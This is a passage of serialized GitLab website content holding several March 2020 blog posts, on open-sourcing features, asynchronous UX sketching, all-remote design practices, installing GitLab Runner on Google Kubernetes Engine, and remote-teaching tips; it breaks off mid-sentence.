[gitlab-org/gitlab#212316](https://gitlab.com/gitlab-org/gitlab/-/issues/212316) |\n| Feature flags          | [gitlab-org/gitlab#212318](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) |\n| Deploy boards          | [gitlab-org/gitlab#212320](https://gitlab.com/gitlab-org/gitlab/-/issues/212320) |\n\n#### Support for multiple Kubernetes clusters in [Configure](/pricing/feature-comparison/)\n\nWith support for [multiple Kubernetes clusters](https://docs.gitlab.com/ee/user/project/clusters/#multiple-kubernetes-clusters), you will be able to easily deploy different environments, like Staging and Production, to different Kubernetes clusters.\nThis allows you to enforce strict data separation.\n\n| Feature to move        | GitLab Issue |\n|------------------------|--------------|\n| Support for multiple Kubernetes clusters | [gitlab-org/gitlab#212229](https://gitlab.com/gitlab-org/gitlab/-/issues/212229) |\n\n#### Bolster application security with [Protect](/pricing/feature-comparison/)\n\nProtect your apps and infrastructure from security intrusions.\n[Network policies for container network security](https://docs.gitlab.com/ee/update/removals.html) will be available to all users.\nWith that, you can install network policies into GitLab-managed Kubernetes clusters to limit communication between Kubernetes pods.\n\n| Feature to move        | GitLab Issue |\n|------------------------|--------------|\n| Network policies for container network security | [gitlab-org/gitlab#212571](https://gitlab.com/gitlab-org/gitlab/-/issues/212571) |\n\nWe hope that by open sourcing these features we will make it easier for all users to treat GitLab as a single application for the entire DevOps lifecycle. **We are thrilled about the limitless possibilities ahead of us as a community and we're looking forward to collaborating closely with each of you!**\n\nCover image by [Rodrigo Soares](https://unsplash.com/@rodi01?utm_medium=referral&amp;utm_campaign=photographer-credit&amp;utm_content=creditBadge) on [Unsplash](https://unsplash.com/photos/c6SciRp2kaQ?modal=%7B%22tag%22%3A%22CreditBadge%22%2C%22value%22%3A%7B%22userId%22%3A%22Tq225eP_V5M%22%7D%7D)",[4103,815],{"slug":24323,"featured":6,"template":678},"new-features-to-core","content:en-us:blog:new-features-to-core.yml","New Features To Core","en-us/blog/new-features-to-core.yml","en-us/blog/new-features-to-core",{"_path":24329,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24330,"content":24336,"config":24342,"_id":24344,"_type":16,"title":24345,"_source":17,"_file":24346,"_stem":24347,"_extension":20},"/en-us/blog/async-sketching",{"title":24331,"description":24332,"ogTitle":24331,"ogDescription":24332,"noIndex":6,"ogImage":24333,"ogUrl":24334,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24334,"schema":24335},"Running an Asynchronous Sketch Workshop for UX","How to generate ideas with team members in multiple time zones","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669734/Blog/Hero%20Images/sketch-cover.jpg","https://about.gitlab.com/blog/async-sketching","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Running an Asynchronous Sketch Workshop for UX\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jacki Bauer\"},{\"@type\":\"Person\",\"name\":\"Inchul Yoo, Sunjung Park\"}],\n        \"datePublished\": \"2020-03-27\",\n      }",{"title":24331,"description":24332,"authors":24337,"heroImage":24333,"date":24339,"body":24340,"category":18484,"tags":24341},[24338,8194],"Jacki Bauer","2020-03-27","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n\nMany companies that normally work together in person have been suddenly thrust into an all-remote world. That can be scary for anyone, but especially for UX designers who rely heavily on face-to-face collaboration with their cross-functional peers.\n\nIf you’re in this situation, you may be thinking: How can I ideate without a whiteboard? How do I lead my team through sketching exercises without paper? WHAT DO I DO WITH ALL OF MY SHARPIES AND STICKY NOTES?!\n\nAt GitLab, our entire company is all remote and globally distributed. We’re used to finding ways to sketch, think and brainstorm asynchronously, so we can accommodate team members who live in time zones all over the world.\n\nYou need just a few ingredients.\n## Clear, simple guidelines and instructions\nGuidelines are really important in any design thinking activity, but when you’re asynchronous, they become extra important, because participants can’t ask clarifying questions or observe what others are doing. So it’s the designer’s role to communicate the activity’s purpose and goal, along with clear instructions and a sense of psychological safety. \n\nAnd just like with in-person activities, you also might want to provide timing advice. For example, consider how you want an individual's ideas to influence others. You might want to give everyone a day to ideate and then ask everyone to drop in their ideas at the same time, so they don’t inadvertently influence each other. Or, you might ask people to intentionally play off the ideas of others. It’s ultimately up your judgement about the goals of the session.\n\n\n## Shared understanding of context\nThe team should already understand some basics about the product or context they work in and the audience they are designing for. If you’re working with a newly formed team, you might try a couple synchronous workshops to get everyone on the same page.\n\n\n## A place for everyone to contribute their ideas\nThis one is easy. There are a lot of tools you can use, including Mural, Google Drive, or even \nSlack. At GitLab, we use Mural, and we also work within our own product to run collaborative design sessions. \n\nAll you need is a place where team members can quickly and easily add text, photos of sketches, images, or even videos, and then freely discuss them. To encourage creativity, you’ll likely want to pick a tool that offers flexibility. \u2028\u2028\u2028\n\n![Illustration of a sketch and chat windows](https://about.gitlab.com/images/blogimages/sketching-session.jpg){: .shadow.medium.center}\n\n## Facilitate team communication\nWhen a team meets in person, they get a lot of non-verbal feedback that can be really useful. People might smile at each other, nod when they hear a good idea, or sigh when someone suggests something that won’t work.\n\nIt’s important to offer a way to surface these reactions when you can’t use immediate nonverbal communication. As the team shares their ideas, provide supportive comments (that will encourage others to do the same). You might also use emojis to enhance communication.\n\n## Step just a little outside your comfort zone\nThis last one is important in any kind of design thinking environment. If you’re a designer working with a product or a client team, it’s likely that many (or most) of the participants in your sessions are not designers. Some participants might hate drawing, and some might be terrified of the idea of uploading something they drew to the internet. \n\nThis is where it helps to work with a team that has already established some rapport. As the designer and session leader, it’s also your job to set a relaxed and casual tone and a low bar for participation. \n\nAt GitLab we say “Everyone can contribute,” and we value action and results over perfection. Let people know it’s OK to not be perfect. As an example, this is how one designer at GitLab set the rules for her team sketching session:\n\n**Rules for the game**\n*  This is a 10-minute activity in total. You don't have to spend more than 5 minutes for each round.\n*  Let's not think about layouts such as the top-header, GitLab logo, and left menu.\n*  There are no right or wrong answers.\n*  It doesn't have to be beautiful. (You will be surprised to see how ugly mine is.)\n*  For round 2, you don't need to fill in all the blanks if it is hard for you. It's not an exam. :-)\n\nTo see this method in action, you can read through this [issue](https://gitlab.com/gitlab-org/geo-team/discussions/-/issues/4944) from February 2020. Believe it or not, this team was doing this exercise for the first time!\n\nCover image by [Mounzer Awad](https://unsplash.com/@mounzaw_) on [Unsplash](https://unsplash.com/s/photos/sketching)\n{: .note}\n\n",[2368,2248,3798,2250,2249],{"slug":24343,"featured":6,"template":678},"async-sketching","content:en-us:blog:async-sketching.yml","Async Sketching","en-us/blog/async-sketching.yml","en-us/blog/async-sketching",{"_path":24349,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24350,"content":24355,"config":24359,"_id":24361,"_type":16,"title":24362,"_source":17,"_file":24363,"_stem":24364,"_extension":20},"/en-us/blog/designing-in-an-all-remote-company",{"title":24351,"description":24352,"ogTitle":24351,"ogDescription":24352,"noIndex":6,"ogImage":16609,"ogUrl":24353,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24353,"schema":24354},"How we work 100% remote in Product Design","UX is such a collaborative activity. How do you work effectively when everyone is remote?","https://about.gitlab.com/blog/designing-in-an-all-remote-company","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we work 100% remote in Product Design\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christie Lenneville\"}],\n        \"datePublished\": \"2020-03-27\",\n      }",{"title":24351,"description":24352,"authors":24356,"heroImage":16609,"date":24339,"body":24357,"category":6634,"tags":24358},[19691],"\n\nThis blog post was originally published on the GitLab Unfiltered blog. It was reviewed and republished on 2020-04-02.\n{: .alert .alert-info .note}\n\nIn 2019, GitLab’s all-remote UX team grew from fewer than 15 team members to almost 60.\n\nHiring at that velocity meant we interviewed a lot of great product designers, UX researchers, and technical writers. One of the most common questions I personally heard in interviews was, “UX is such a collaborative activity. How do you work effectively when everyone is remote?”\n\nIt’s a fair question. As UX practitioners, we’re often used to getting in a room with our product team to brainstorm ideas and work through problems. So, how do you keep everyone engaged and informed without that face-to-face time?\n\nHonestly, there is no perfect answer, and we’re still figuring it out every day. We tend to try new ideas as pilot programs and then adopt them more broadly when they prove to be successful. And just like we [iterate on our product](https://handbook.gitlab.com/handbook/values/#iteration), we also iterate on our processes, making them better over time.\n\nIn that spirit, here are a few things we’ve tried that have helped to encourage collaboration and connection both within our UX department and with our cross-functional peers.\n\n## Pair designers\n\nWhen I joined as GitLab’s UX director, I spent my first few weeks just talking with the team to understand what was working well and where they needed more support.\n\nA recurring theme was that product designers felt they lacked design peers to partner with. They were getting good feedback from their product managers and engineering partners, but it was different than the support they knew they’d get from another designer.\n\nBecause we’re all remote, the product designers were hesitant to just randomly reach out to another designer, because they didn’t know if they’d interrupt that person’s workflow. They couldn’t just look across the aisle to see if someone was busy. And without a consistent partner, they’d need to give a lot of additional context about the problem they were solving.\n\nWe addressed this by piloting a Pair Designer program where every product designer is assigned a design peer in their same time zone who works on a different part of the product. For six months, this is their go-to person for ideation sessions and quick, on-the-spot design feedback. After six months, we swap pairs to give people more exposure to different ideas, working styles, and product areas.\n\nPair designers are encouraged to work together however they’re comfortable. Some agree to meet for a weekly sync over video, others meet every two weeks, some contact each other ad hoc, and some meet primarily asynchronously.\n\nWe received very positive feedback on the pilot, so we’ve continued this program, and we’re now on our third rotation. It’s been a great way for designers from all over the world to learn from each other. Here’s a quote from one of our designers:\n\n> “I have loved working with each of my 'pairs'’ in UX! Usually we meet once a week for 30 minutes to an hour and spend about half the time each talking about something that is top of mind for us. Sometimes it is just discussing some process or higher level stuff; most of the time we are sharing our screens in Zoom and walking through Sketch, Figma, Axure, someone's branch, etc. to talk through design challenges we are having. The most exciting part of this to me is getting to really dive into a space that I don't get as much exposure to -- also getting to know another designer and having that dedicated time just for us.” [Alexis Ginsberg](/company/team/#uhlexsis), senior product designer at GitLab\n\n## Synchronous kick-off sessions\n\nAt GitLab, we try to work as asynchronously as possible. This is important for a few reasons.\n\nMost importantly, we’re all remote and [globally distributed in 67 countries](/company/team/), so face-to-face meetings aren’t always feasible across varied time zones. Also, we find that asynchronous communication is often faster than meetings. Lastly, by defaulting to asynchronous communication, we always have documentation of the decisions we’ve made and why we made them. Those are some great reasons to default to written communication.\n\nThat said, when a design project first begins, we’ve found that it can be helpful to get everyone together to ask questions, discuss the problem, ideate on possible solutions, and discuss constraints. Depending on the project’s complexity, this can happen very quickly (30 minutes), though bigger problems may take longer.\n\nWhen we have synchronous kick off sessions, we record them and post them to [GitLab Unfiltered](https://www.youtube.com/channel/UCMtZ0sc1HHNtGGWZFDRTh5A), so that anyone who can’t attend still has access to the information. We also document the outcome in a [GitLab issue](https://docs.gitlab.com/ee/user/project/issues/index.html#issues), so that information doesn’t get lost. Lastly, we quickly move from synchronous to asynchronous activities for the reasons noted above.\n\n## Video walkthroughs\n\nAt GitLab, we believe that design is collaborative. That's why we try to involve our team members as early as possible and throughout the entire process. One way to keep our team up to date without having to set up a meeting is to record short videos where we walk them through our designs, preferably in the form of a prototype.\n\n> “If a picture is worth 1000 words, a prototype is worth 1000 meetings.” [Tom & David Kelley](https://blog.prototypr.io/a-prototype-is-worth-1000-meetings-b9ec8107befc)\n\nIn these videos, we lay out the rationale behind our designs and also offer information about other options we thought about and decided against. In certain situations, it also makes sense to add additional background about our long-term vision.\n\nOne of the many positive outcomes from this approach is that even team members who have only been minimally involved are now empowered to provide feedback, add their own ideas, or provide us with additional information about the amount of work our ideas will require.\n\n## UX Showcase\n\nWhen a company is widely distributed, it can be hard to keep up with all of the amazing work that’s happening. Staying updated on changes is especially important in a company like GitLab, where we all work on the same product. We need to understand what other designers are doing and how they are doing it, so we can create seamless workflows that maintain consistency throughout the UI.\n\nIn our biweekly UX Showcase, four product designers each take 15 minutes to share recent work. We have no restrictions on what they share or how they share it. It can be work in progress or something that recently moved to production. Similarly, the \"presentation\" can be as simple as walking through a [GitLab issue](https://docs.gitlab.com/ee/user/project/issues/index.html#issues) or a more elaborate Google Slides deck. The point isn’t to be fancy – it’s just to share information in an easy-to-understand and compelling way.\n\nPersonally, I learn so much from seeing designers talk through the problem they were trying to solve, why it was important, how they solved it, the challenges they encountered along the way, and why the final solution ended up the way it did.\n\nI’m so proud of the work that I see our team doing. It’s as motivating as it is educational.\n\nBut the value of the UX Showcase isn’t just to the UX team. We record the showcases and post them in a [YouTube playlist on GitLab Unfiltered](https://www.youtube.com/playlist?list=PL05JrBw4t0Kq89nFXtkVviaIfYQPptwJz), so that anyone in the company (or the world) can watch, if they’re interested. We also make sure to post links to the videos in a variety of Slack channels, so that our cross-functional peers can watch at their convenience.\n\n## Asynchronous sketching exercises\n\nMost people think about sketching sessions as synchronous and co-located. But at GitLab, we have team members who live in time zones across the world, and we’ve had success at inviting team members to sketch, think, and brainstorm asynchronously.\n\nThis does require a team to already have a good level of trust and a shared understanding of the problem space, but it can be a really efficient way to bring out the team’s creativity, regardless of where in the world they work.\n\nIf you’re interested and would like to see an example, you can learn more in this detailed [blog post](/blog/async-sketching/).\n\n## Slack channel for UX coworking\n\nSometimes designers just want a quick, ad hoc collaboration session, and their Pair Designer may not be immediately available. For times like these, we have a Slack channel dedicated to UX coworking.\n\nIn this channel, designers can ask whether anyone is available for a quick ideation or feedback session. They can also post work in progress to get quick feedback. This has been a great way to promote on-the-spot collaboration within the team.\n\n## Design documentation\n\nThe most important thing to remember when designing remotely is: document, document, document!\n\nAt GitLab, we document our design decisions and rationale in GitLab issues. We even launched a new feature category recently called [Design Management](https://docs.gitlab.com/ee/user/project/issues/design_management.html) that lets designers upload images and invite comments in the same platform that product managers and developers use to do their daily work. We’re adding new features in this category that will make this more and more effective over time.\n\nWhen it comes to UX process, we document everything in our handbook. That means when someone wants to understand how we research, design, and write about our product, the information is always available and up to date. Everyone at GitLab has a shared responsibility to keep this content clear, current, and easy to use.\n\n## All-remote design works!\n\nFor teams that are used to collaborating in person, it can seem like a big leap to go all remote. As someone who has practiced UX in a variety of models – 100% in person, a hybrid of remote and in person, and all remote – what I can say is: It works!\n\nIn my experience, the least effective model is hybrid. Nothing is worse than being one of the few people on video while the rest of the team works in a room together. Your voice just doesn’t get heard.\n\nWe know that we can’t design a great product without close collaboration from our cross-functional peers. When you’re all remote, you have to make a conscious effort to involve peers in your design process early and often. While that takes an extra level of thoughtfulness in an all-remote team, the improved outcomes are worth it.\n\nCover image by [Christina @ wocintechchat.com](https://unsplash.com/@wocintechchat) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[2249,2250,3798],{"slug":24360,"featured":6,"template":678},"designing-in-an-all-remote-company","content:en-us:blog:designing-in-an-all-remote-company.yml","Designing In An All Remote Company","en-us/blog/designing-in-an-all-remote-company.yml","en-us/blog/designing-in-an-all-remote-company",{"_path":24366,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24367,"content":24373,"config":24377,"_id":24379,"_type":16,"title":24380,"_source":17,"_file":24381,"_stem":24382,"_extension":20},"/en-us/blog/gitlab-ci-on-google-kubernetes-engine",{"title":24368,"description":24369,"ogTitle":24368,"ogDescription":24369,"noIndex":6,"ogImage":24370,"ogUrl":24371,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24371,"schema":24372},"GitLab CI/CD on Google Kubernetes Engine in 15 minutes or less","Install GitLab's Runner on GKE in a few simple steps and get started with GitLab CI/CD pipelines.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667003/Blog/Hero%20Images/gke_in_15_cover_2.jpg","https://about.gitlab.com/blog/gitlab-ci-on-google-kubernetes-engine","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab CI/CD on Google Kubernetes Engine in 15 minutes or less\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Elliot Rushton\"}],\n        \"datePublished\": \"2020-03-27\",\n      }",{"title":24368,"description":24369,"authors":24374,"heroImage":24370,"date":24339,"body":24375,"category":734,"tags":24376},[18160],"If you use [GitLab Self-Managed](/pricing/#self-managed), then getting started with GitLab CI using [GitLab's integration with Google Kubernetes Engine (GKE)](/partners/technology-partners/google-cloud-platform/) can be accomplished in a few simple steps. We have several blog posts and documentation that provide detailed [setup instructions for working with Kubernetes clusters](#other-resources). In this post, we highlight the essential steps so that you can get going with GitLab CI/CD in less than 15 minutes.\n\nBy using the GitLab and GKE integration, with one click, you install GitLab Runners on GKE and immediately start running your CI pipelines. Runners are the lightweight agents that execute the CI jobs in your [GitLab CI/CD](/topics/ci-cd/) pipeline.\n\n## Prerequisites:\n\nThe following pre-requisities will need to have been configured in order for you to use the built in GitLab GKE integration:\n- GitLab instance installed and configured with user credentials\n- [Google OAuth2 OmniAuth Provider](https://docs.gitlab.com/ee/integration/google.html) installed and configured on your GitLab instance\n- A Google Cloud project with the following [APIs enabled](https://docs.gitlab.com/ee/integration/google.html#enabling-google-oauth):\n  - Google Kubernetes Engine API\n  - Cloud Resource Manager API\n  - Cloud Billing API\n\n## Get started\n\n![Setup pipeline](https://about.gitlab.com/images/blogimages/ci-gke-in-15/gke_in_15_pipeline.png){: .shadow.medium.center}\n\n### Step 1\n\nWe’re going to add a shared runner at the instance level. First, as an administrator, click the “Admin Area” icon\n\n![Runner setup step 1](https://about.gitlab.com/images/blogimages/ci-gke-in-15/ci_gke_in_15_001.png){: .shadow.medium.center}\n\nThen on the left menu, select “Kubernetes”\n\n![Runner setup step 2](https://about.gitlab.com/images/blogimages/ci-gke-in-15/ci_gke_in_15_002.png){: .shadow.medium.center}\n\n### Step 2\n\nClick the green “Add Kubernetes cluster” button.\n\n![Runner setup step 3](https://about.gitlab.com/images/blogimages/ci-gke-in-15/ci_gke_in_15_003.png){: .shadow.medium.center}\n\n### Step 3\n\nThe screen to “Add a Kubernetes cluster integration” should come up. Click on the “Google GKE” icon on the right.\n\n![Runner setup step 4](https://about.gitlab.com/images/blogimages/ci-gke-in-15/ci_gke_in_15_004.png){: .shadow.medium.center}\n\n### Step 4\n\nGive your cluster a name, and select a “Google Cloud Platform project” from your linked GCP account. If no projects are populated in the menu then either your Google OAUTH2 integration isn’t configured correctly or your project is missing the needed permissions. Check that these are set up and that the [APIs mentioned in the prerequisites above](#prerequisites) are enabled.\n\nChoose a zone in which to run your cluster. For the purposes of running CI, the number of nodes in your cluster is going to be how many simultaneous jobs you can run at given time. As we are using the built-in GitLab Google Kubernetes integration, you can set a maximum of four nodes.\nHere we set that to three.\n\nClick “Create Kubernetes Cluster”\n\n![Runner setup step 5](https://about.gitlab.com/images/blogimages/ci-gke-in-15/ci_gke_in_15_005.png){: .shadow.medium.center}\n\nIt takes a few minutes for the cluster to be created. While it’s happening you should see a screen like this. You can leave this screen and come back (by going to “Admin Area> Kubernetes > [your cluster name]”)\n\n![Runner setup step 6](https://about.gitlab.com/images/blogimages/ci-gke-in-15/ci_gke_in_15_006.png){: .shadow.medium.center}\n\n### Step 5\n\nOnce the cluster has been created, we need to install two applications. First, install “Helm Tiller” by clicking on the “Install” button next to it.\n\n![Runner setup step 7](https://about.gitlab.com/images/blogimages/ci-gke-in-15/ci_gke_in_15_007.png){: .shadow.medium.center}\n\nThis takes a moment, but should be much quicker than creating the cluster initially was.\n\n![Runner setup step 8](https://about.gitlab.com/images/blogimages/ci-gke-in-15/ci_gke_in_15_008.png){: .shadow.medium.center}\n\n### Step 6\n\nNow that Helm Tiller is installed, more applications can be installed. For this tutorial we only need to install the “GitLab Runner” application. Click the install button next to GitLab Runner.\n\n![Runner setup step 9](https://about.gitlab.com/images/blogimages/ci-gke-in-15/ci_gke_in_15_009.png){: .shadow.medium.center}\n\nAgain, this should go pretty quickly.\n\n![Runner setup step 10](https://about.gitlab.com/images/blogimages/ci-gke-in-15/ci_gke_in_15_010.png){: .shadow.medium.center}\n\nOnce done, the button will change to an “Uninstall” button. You’re now set up with shared runners on your GitLab instance and can run your first CI pipeline!\n\n![Runner setup step 11](https://about.gitlab.com/images/blogimages/ci-gke-in-15/ci_gke_in_15_011.png){: .shadow.medium.center}\n\n### Next steps\n\nNow that you are up and running with GitLab CI/CD on GKE, you can build and run your first GitLab CI/CD pipeline. Here are links to a few resources to get you started.\n\n- [Getting Started with GitLab CI/CD](https://docs.gitlab.com/ee/ci/quick_start/)\n- [How to build a CI/CD pipeline in 20 minutes or less](/blog/building-a-cicd-pipeline-in-20-mins/)\n- [Getting started with Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/cloud_deployments/auto_devops_with_gke.html)\n\nIf you are planning to manage your own fleet of GitLab Runners, then you may also be thinking about how best to set up autoscaling of GitLab Runners. As we have just set up your first Runner on GKE, then you can review the [GitLab Runner Kubernetes Executor docs](https://docs.gitlab.com/runner/executors/kubernetes.html) for additional details as to how the GitLab Runner uses Kubernetes to run builds on a Kubernetes cluster.\n\n### Other resources\n\n- [Scalable app depoyment webcast](https://about.gitlab.com/webcast/scalable-app-deploy/)\n- [Install GitLab on a cloud native environment](https://docs.gitlab.com/charts/)\n- [Adding and removing Kubernetes clusters](https://docs.gitlab.com/ee/user/project/clusters/add_remove_clusters.html)\n- [Deploy production-ready GitLab on Google Kubernetes Engine](https://cloud.google.com/solutions/deploying-production-ready-gitlab-on-gke)\n\nCover image by [Agê Barros](https://unsplash.com/photos/rBPOfVqROzY) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[232,2509,3949,110,3049,923],{"slug":24378,"featured":6,"template":678},"gitlab-ci-on-google-kubernetes-engine","content:en-us:blog:gitlab-ci-on-google-kubernetes-engine.yml","Gitlab Ci On Google Kubernetes Engine","en-us/blog/gitlab-ci-on-google-kubernetes-engine.yml","en-us/blog/gitlab-ci-on-google-kubernetes-engine",{"_path":24384,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24385,"content":24391,"config":24395,"_id":24397,"_type":16,"title":24398,"_source":17,"_file":24399,"_stem":24400,"_extension":20},"/en-us/blog/going-remote-education-virtual-learning-tips",{"title":24386,"description":24387,"ogTitle":24386,"ogDescription":24387,"noIndex":6,"ogImage":24388,"ogUrl":24389,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24389,"schema":24390},"Going remote in education? Don't panic.","If you're an educator moving online, we have some tips for virtual learning success.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681183/Blog/Hero%20Images/work_remote_coffee_green.jpg","https://about.gitlab.com/blog/going-remote-education-virtual-learning-tips","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Going remote in education? Don't panic.\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christina Hupy, Ph.D.\"}],\n        \"datePublished\": \"2020-03-27\",\n      }",{"title":24386,"description":24387,"authors":24392,"heroImage":24388,"date":24339,"body":24393,"category":6634,"tags":24394},[14215],"\n\nCampuses around the world in both K-12 and higher education are moving to virtual models of instruction and operation to help reduce the spread of COVID-19. As a result, many faculty, students, staff and leadership are now in the position of navigating how to work, teach, and learn remotely with little to no preparation time and even fewer resources.\n\nJumping into virtual education – voluntarily or otherwise – is not easy. Properly developing an online curriculum takes months and months of work, a coordinated tech stack, and a well-defined communication plan. Intentionally, online courses have IT staff to assist in the process of converting classes and generally only convert one at a time.\n\nAre you an educator facing a suddenly digital classroom? Are you worried about answering endless emails from panicked students? Dreading spending hours upon hours recording lectures? Wondering how you will be able to effectively communicate with all your students?\n\nAs the world’s largest all-remote company with 1,200+ employees in 65 countries, GitLab has a wealth of resources to help navigate this challenge! The GitLab [remote work emergency plan]( /company/culture/all-remote/remote-work-emergency-plan/) can be adapted to help both students and educators get up and running quickly and function effectively in this new reality.\n\nWe're excited to share a few immediately actionable tips for faculty, staff, and students who’ve been suddenly thrust out of the classroom and into a virtual education model.\n\n\n\n## Tip 1: Adopt a single source of truth\n\nWhile this term is pretty self-explanatory, it can’t be emphasized enough. When an entire company of people have to be on the same page, it is essential that everyone knows exactly what needs to happen, how it happens, and when it should happen. This same concept applies directly to an online class.\n\nImagine you need to make a change in your class agenda for a project due tomorrow – where does that update need to appear? A syllabus schedule, due dates on folders, due dates on assignments, class calendars, and of course via email, etc. Chances are, you’ll miss making the update in one of those locations. Confusion and lots of emails with questions will ensue! (see [Tip 2](#tip-2-leverage-a-transparent-communication-tool)).\n\nThe concept of a [single source of truth](https://handbook.gitlab.com/handbook/values/#single-source-of-truth) (SSoT) that serves as a living record has many benefits in a classroom setting. Students need a SSoT in order to build trust, confidence, and be successful in a course, especially when they are used to the reassurance of seeing teachers several times a week. A SSoT also minimizes the number of questions about logistics and allows you to spend more time discussing the content itself.\n\n### How to adopt a single source of truth\n\n* Identify a tool (see [Tip 2](#tip-2-leverage-a-transparent-communication-tool)) that serves as the SSoT and document all relevant information such as due dates, schedules, directions, policies, etc. in this single location.\n* Avoid the temptation to list dates and policies on multiple documents such as calendars and assignments.\n* Update the SSoT as needed. As students ask questions, add the answers to the SSoT. This approach will save you time in answering questions down the road.\n* You will need to adjust as the cadence of the course develops, especially if this is your first time teaching it online.\n* Make sure students know that they will only need to look in this one location for any changes.\n\n## Tip 2: Leverage a [transparent communication tool](/company/culture/all-remote/remote-work-emergency-plan/#establish-a-handbook)\n\nIf you are put in the situation of having to migrate to remote quickly, you probably don’t have much time to invest in a complicated setup.  Don’t worry, you can implement this tip by starting simple.\n\nFirst things first, the tool should not be email. Email is one of the most inefficient methods of communication for remote work. You and your students are better served when information is shared out in a way that everyone has the same knowledge. Reducing email’s allure will save you and your students time and energy.\n\n### [What do we recommend instead?](/company/culture/all-remote/remote-work-emergency-plan/#establish-a-handbook)\n\n* A cloud-based word processor, such as Google Docs, is a great tool to get started with an SSoT. Ensure that you can easily update the document without downloading, uploading, and changing formats..\n* We recommend using a tool that allows for live editing, so making changes is very simple and easy.\n* Adding timestamps to track updates can also be helpful so students know they are looking at the most recent information.\n\n### What other tools do I need?\n\nBe sure to keep the [tech stack simple](/company/culture/all-remote/remote-work-emergency-plan/#minimize-your-tool-stack) and make sure everyone knows when to use which tool for each kind of communication.\n* For live meetings, we use [Zoom](https://zoom.us/) but whatever video conferencing tool your institution has will work.\n* For informal communication we use Slack, but there are other tools available such as Microsoft Teams.\n* If you need a more visual collaboration tool, consider using a tool such as [Mural](https://mural.co/).\n\nLet’s consider an example of how, when taken together, this approach can improve the experience for everyone in a remote environment whether teaching or learning.\n\n* A student asks a good question on the informal chat tool. You update the SSoT and direct the student to the answer there. Now students who may have the same question can see the response and know where to find the answer.\n* A student asks a question that is already in the SSoT. You direct the student to the correct link, thus minimizing the time it takes to answer the question.\n* A student asks a question that has been asked multiple times before. Private message the student, provide the SSoT link and suggest that he looks at the thread for answers in the future so he/she doesn’t need to wait for individualized responses.\n\n## Tip 3: Establish a [communication plan](/company/culture/all-remote/remote-work-emergency-plan/#establish-a-communications-plan)\n\nFor the first time in years, there’s no school bell ringing hourly or class schedule to keep everything on track! We recommend that you start by thinking about – and enjoying – **[asynchronous communication](/company/culture/all-remote/asynchronous/)** and then identify the [tool(s)](/company/culture/all-remote/remote-work-emergency-plan/#minimize-your-tool-stack) that you will use.\n\nFirst, let’s explore **asynchronous communication**. Working asynchronously removes the temptation to find a time that works for everyone and ensures that people who can’t make it to a specific event aren’t left out of the loop.\n\nIt is possible to strike a balance between providing key information in a self-service model while at the same time allowing for teams to ask questions and have discussions. Adopting a self-service model means that all content and relevant information is provided in a manner that students can easily find, read, and digest on their own ahead of time. With this approach, students can decide how much time to spend digging into the content according to their own needs and schedules.\n\nRecording a set of lectures ahead for an entire class, yet alone several classes' worth, is very daunting. Approaching lectures with an asynchronous communication style can help ease the burden on educators and at the same time provide effective mechanisms for discussion.\n\n### How can lectures be asynchronous?\n\n* [Have an editable agenda](/company/culture/all-remote/meetings/#have-an-agenda)  for the actual lecture discussion where students can post their name and a question in a numbered list.\n* Host a live video discussion where students voice their question(s) in the order on the agenda. If they aren’t present, read the question for them.\n* Answer the questions in the meeting and make sure someone is taking great notes. [Document everything](/company/culture/all-remote/meetings/#document-everything-live-yes-everything).  Try the [‘everyone is a moderator’](/handbook/communication/#everyone-is-a-moderator) concept to help run these meetings effectively.\n* Consider live-streaming the video directly to YouTube. This saves time and does not require you to download the recording, process it, and then upload back to your learning management system. The videos will be available on YouTube afterwards as well.\n* For more information, check out GitLab’s guide on [how to run remote meetings right](/company/culture/all-remote/meetings/#how-do-you-do-all-remote-meetings-right). You can also check a [recent example of a meeting livestream](https://www.youtube.com/watch?v=KMvrb0M3fFA) and an agenda to match (see below).\n\n![Agenda screenshot](https://about.gitlab.com/images/blogimages/group-convo-agenda.jpg){: .shadow.medium.center}\nA GitLab editable agenda after a meeting\n{: .note.text-center}\n\n## Tip 4: [Devote time to fostering relationships](/company/culture/all-remote/informal-communication/#devote-time-to-fostering-relationships)\n\nIn all-remote environments, there should be a greater emphasis placed on carving out time to get to know one another as humans. To connect and bond as empathetic beings with interests, emotions, fears, and hopes – people, not just colleagues or classmates. This tip is especially useful when transitioning from an in-person to an online setting. Your students are probably already a bit stressed, overwhelmed, and missing in-person, in-classroom connections.\n\n### How can you foster a sense of community with your online class?\n\n#### Try creating some fun channels in your online chat tool\n\nGitLab has channels that are all business as well as a set of channels for fun topics such as cooking, fitness, and dogs. People who have similar interests will connect and share experiences, photos, recipes etc. Students who connect over their puppies or a great recipe are more likely to help eachother out with questions or study together.\n\n#### Consider starting your video conference five minutes early with a conversational slide as a starter\n\nStudents arriving early can chit-chat just as they may have done in person. It might take a few meetings and some encouragement to get the ball rolling, but they’ll soon look forward to this opportunity to connect with classmates.\n\n![GitLab marketing team Show & Tell social call](https://about.gitlab.com/images/all-remote/marketing-social-call-show-and-tell.jpg){: .shadow.medium.center}\nA GitLab marketing team Show & Tell social call\n{: .note.text-center}\n\n#### Hold your office hours over a video conference\n\nStudents will be able to ask questions and have discussions, allowing them to build on the relationship with you and others they started in the in-person 